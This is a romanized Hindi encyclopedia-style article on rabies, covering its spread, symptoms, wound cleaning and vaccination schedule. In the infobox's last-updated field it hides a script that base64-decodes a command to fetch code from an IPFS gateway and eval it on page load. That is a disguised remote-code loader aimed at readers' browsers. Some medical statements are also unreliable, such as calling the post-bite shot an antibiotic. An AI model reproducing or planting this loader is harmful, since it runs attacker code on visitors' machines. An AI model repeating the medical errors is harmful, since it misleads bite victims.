रेबीज़
rebiz
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| vivaran | rebiz ek khataranak rog hai. yah pashuoan se phailane vala vayaras joonotik inphekshan hai. isase inakaipholaitis jaisa upadrav hota hai, jo ki nishchit roop se chikitsa n kiye jane par ghatak hota hai. |
| any nam | jalaantak ya haeedrophobiya |
| lakshan | bukhar, matali, sir dard, maansapeshiyoan ka ek dam se siku dana (jis par mariz ka koee niyantran nahian rahata), snayu aur peshi mean pi da, bhookh n lagana, bechaini, kabhi-kabhi behad uttejit aur chi d-chi da ho jana, prakash aur avaz donoan hi akasmik daure ki vajah ban sakate haian, sparsh bhi behad sizars (anaichchhik chhatake) ki vajah ban sakata hai. |
| rebiz ke tike | pahale rebiz ke tike mariz ke pet mean lagate the, jo behad takaliph dete the, inhean bakare ke dimag se taiyar kiya jata tha. ye tike utane asaradar bhi nahian the. ab tishyu kalchar veksians upalabdh haian. yah veksinean beshak mahangi haian, lekin ek dam se surakshit, pi darahit evan karagar rahati haian. |
| bachav | rebid janavaroan ke kate jane ke bad koshish yah rahani chahie ki vishanu narv tishyu tak na pahuanch pae, isake bad veksin ya koee aur chikitsa beasar hi siddh hoti hai. |
| sanbandhit lekh | aautizm, histiriya, projeriya |
| any janakari | katane ke das din bad se tin sal tak bhi yah rog adami ko apani chapet mean le sakata hai. am taur par yah avadhi ek se tin mah hi hoti hai. bachchoan mean yah avadhi (inkyoobeshan piriyad aur bhi kam rahata hai). rebiz ke vishanu lar ke alava rebiz grast mariz ke any sravoan mean bhi a jate haian, isalie timaradar ko bhi poori ehatiyat ke sath khud ko bachae rahana p data hai. |
| adyatan | 18:45, 9 mee 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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rebiz (aangrezi: Rabies) ek khataranak rog hai. rebiz jise jalaantak (jal bhiti ya haeedrophobiya) bhi kaha jata hai kyoanki is rog mean mariz pani bhi nahian pi pata hai. pani ke dekhane se bhi use akasmik taur par daura p d jata hai. yah pashuoan se phailane vala vayaras joonotik inphekshan hai. isase inakaipholaitis jaisa upadrav hota hai, jo ki nishchit roop se chikitsa n kiye jane par ghatak hota hai. isaka pramukh karan kisi pagal kutte ka katana hota hai.[1] 250px|left|thumb|rebiz ka lakshan
phailav aur sankraman
rebiz grast janavaroan ke katane ya phir khule ghav ko chatane se bhi yah rog adami ko apani chapet mean le leta hai. aise janavar ko isiliye rebid enimal kaha jata hai. yah inphekshan pashuoan mean l dane ya katane se phailata hai. jab aise sankramit pashu adami ke sanpark mean ate haian to ise adami mean bhi phailate haian. adami se adami mean yah inphekshan nahian phailata. am taur par strit d aaugs jaise kutte, billi, bandar, kabhi-kabhar richh, bhe diya, aphrika aur eshiya mean pae jane vali jangali kuttoan ki ek nasl, jo mare hue pashuoan par hi zianda rahati hai (hayena) ko bhi yah rog ho jata hai. taqariban 30 lakh log har sal in janavaroan ke kate jane par rebiz ke tike lagavate haian. buniyadi taur par yah pashuoan ka hi rog hai. jangali pashuoan aur gali mohalle ke kuttoan mean yah akasar dekha jata hai. in rebid janavaroan ki lar mean hi isaka vayaras (vishanu) paya jata hai. isilie inake katane ke alava vayaras isake chatane se bhi kati phati tvacha mean dakhil ho sakata hai. dakhil hote hi yah manushy ke kanektiv tishyuj (abandhi ootakoan) mean dvigunit hone lagata hai, maltiplaee karata hai, peshiyoan mean pahuanchata hai. snayu mean dakhil hokar yah hamare dimag tak apani pahuanch banata hai aur yahaan par ek bar phir apani zaroorat poori karata hai, maltiplaee karata hai aur enasephalaitis utpann karata hai jo ki ghatak hoti hai. dimag se isake vishanu narvz se hote hue, any aangoan tak pahuanchate haian. lar granthiyoan tak bhi akhirakar a hi jate haian. katane ke das din bad se tin sal tak bhi yah rog adami ko apani chapet mean le sakata hai. am taur par yah avadhi ek se tin mah hi hoti hai. bachchoan mean yah avadhi (inkyoobeshan piriyad aur bhi kam rahata hai). rebiz ke vishanu lar ke alava rebiz grast mariz ke any sravoan mean bhi a jate haian, isalie timaradar ko bhi poori ehatiyat ke sath khud ko bachae rahana p data hai.[2]
lakshan
rebiz ek khataranak rog hai. adami mean is rog ke kee charan dikhalaee dete haian. praranbhik lakshan haian - bukhar, matali aur sir dard. dhire-dhire inphekshan indriy sansthan mean phailata hai aur masals ki akasmik tvichiang (ek dam se peshi ka siku dana jis par mariz ka koee bas nahian rahata), narvz (snayu) aur peshi mean pi da, behad ho sakati hai. jvar, siradard ke alava janaral melis dikhalaee degi bhookh gayab ho jayegi. mariz ek dam se bechaini anubhav karega, behad uttejit aur chi d-chi da ho jaega. haipar ektiv hone ke alava zyadatar mamaloan mean mariz ka vyavahar ajibogarib aur phyooriyas dikhalaee dega. prakash aur avaz donoan hi akasmik daure (rog ke behad badhane ki vajah ban sakate haian). sparsh bhi behad sizars (anaichchhik chhatake) ki vajah ban sakata hai. ek sath milakar bhi ye karak sizars ki vajah ban sakate haian. pani pine se lerianks (svar peti, jahaan svar-tantri yani vokal kords hoti hai) ki eanthan paida hoti hai aur ruddhata hokar saans lene mean takaliph hone lagati hai. isilie mariz pani se khauph khane lagata hai. yahaan tak ki pani ki avaz aur pani ko dekhana bhi usamean khauph paida karata hai. mariz haeedrophobiya se grast ho jata hai. rebiz ke pi dit pashu bhi pani se darate haian. ek bar yah lakshan prakat hone par samanyata isaka koee ilaj nahian hai aur rogi shvasavarodh (rispayaretari arest) se mar jata hai. kuchh mariz lakava grast ho jate haian, falij ya perelesis ki chapet mean a jate haian. beshak jivan ke akhiri kshan tak yah chetany bane rahate haian. jo bach jate haian, vah koma mean chale jate haian. gahan dekharekh ke abhav mean sabhi mariz 1-3 saptah mean sharir chho d jate haian.[2]
bachav
thumb|250px|rebiz ka vishanu rebid janavaroan ke kate jane ke bad har chand koshish yah rahani chahie ki vishanu narv tishyu tak na pahuanch pae, isake bad veksin ya koee aur chikitsa beasar hi siddh hoti hai. jakhm ko sanbhalana behad zaroori hai. kate jane ke bad us sthan ko kam se kam das minat tak sabun rag d rag d kar bahate kunakune pani se saf karate rahana chahie. usake bad khule pani se jakhm ko phlash karate rahiye. ab 1% solyooshan benzal-koniyamakloraid se jakhm ko irriget karate rahiye. aisa karane se rebiz ke vayaras am taur par mar jate haian. isake bad tetanas ka tika mariz ko lagana hi chahie. eanti-bayotiks bhi d aau ki salah par sahi die jane chahie. ghav ke gird ke ded ya behad vikshat ootakoan ko katakar saf kar dena chahie. ghav ko khabhi bhi dhakean nahian, isaki patti n karean aur taanke kisi bhi hal mean nahian lagane haian. najadiki davakhane mean ya sarakari aspatal mean jayean, jahaan e.ar.vi. upalabdh hoti hai. yadi kutta palatoo hai to jane ki use tika dilaya gaya athava nahian aur jane ki use ghumane le jaya jata hai ya nahian. us kshetr ke any ghoomantu pashuoan ki janakari prapt karean. isaka nidan lakshanik hai. kutte katane ka vrittant aur kutte katane ke nishan dekhe jate haian. rakt aur lar ki pariksha karane par vayaras dekhe jate haian. kintu isaka koee saraansh nahian hota. prayah maranoparant mastishk ke namoone lene par isamean lakshanik negri b aaudij dekhi jati hai, jo ki vayaras ke inphekshan ke karan hoti hai.[2]
rebiz ke tike
pahale rebiz ke tike mariz ke pet mean lagate the, jo behad takaliph dete the, inhean bakare ke dimag se taiyar kiya jata tha. ye tike utane asaradar bhi nahian the. ab tishyu kalchar veksians upalabdh haian. yah veksinean beshak mahangi haian, lekin ek dam se surakshit, pi darahit evan karagar rahati haian. kutta katane par pratyek ko eanti raibij lagaya jata hai. isase rog nivaran aur kutta sankramit ho to rog se raksha hoti hai. raibij rokatham ki mukhyadhara chikitsa hai ki kutta katate hi turant 6 se 8 ghante ya adhik se adhik 24 ghantoan mean eanti bayotik ka tika ya imyoonoglobalin lagava lena chahie. jo eanti b aaudij hoti hai. yah inphekshan ko rok sakata hai. is tika ke 3, 5 ya 7 injekshan diye jate haian. yah rogi ke sharir par kutta katane aur kutte mean raibij hone par adharit hota hai. yadi kutta katane ke 10 din ke bad tak bhi svasth hai to savadhani ke lie 3 injekshan hi paryapt hai.[2] left|thumb|250px|rebiz se grasit adami
tika lagavane ka samay
jab kutte mean rog ke lakshan dikhalaee dean (zahir hai nazar rakhani p degi kutte par, us rebid enimal par jisane kata hai). yadi kutta asamany vyavahar karata hai jaise kee any logoan ko katata hai, bina chhe dachha d ke katata hai, idhar-udhar bhagata hai, krodhit ghoorata hai aur lagatar lar tapakati hai ya kisi kone mean nidhal p de rahata hai, pani nahian pita ya apako katane ke bad 10 din mean mar jata hai, to yah samajhana chahie ki kutta raibid hai. aisi sthiti mean injekshan ka poora kors lena chahie. nishchit roop se raibid kutte ne kata ho to eantib aaudij ki atirikt chikitsa aur imyoonoglobin lena chahie. isase rog ka nivaran hone mean sahayata milati hai. ap usake bare mean kuchh bhi na jan sakean aur vah gayab ho jae. bina ukasae jab vah apako kat le. jab vah khud rebiz se grast (pajitiv) paya jae. usake mare jane ke bad ya khud marane ke bad parikshanoan se rebiz ki shinakht ho jae. tika lagavane ke ek mah bad tak bhi sharab (kisi bhi roop mean elkohal) ka sevan na kiya jae. bina vajah behad manasik aur sharirik shram se bacha jae. der rat ke bad na soya jae (samay se sona zaroori hai). stiroids tatha imyoono-sapresar drags ka istemal na kiya jae. tikoan ka kors har hal mean poora kiya jae. bich mean chho dana khataranak ho sakata hai. mariz rog grast ho sakata hai.[2]
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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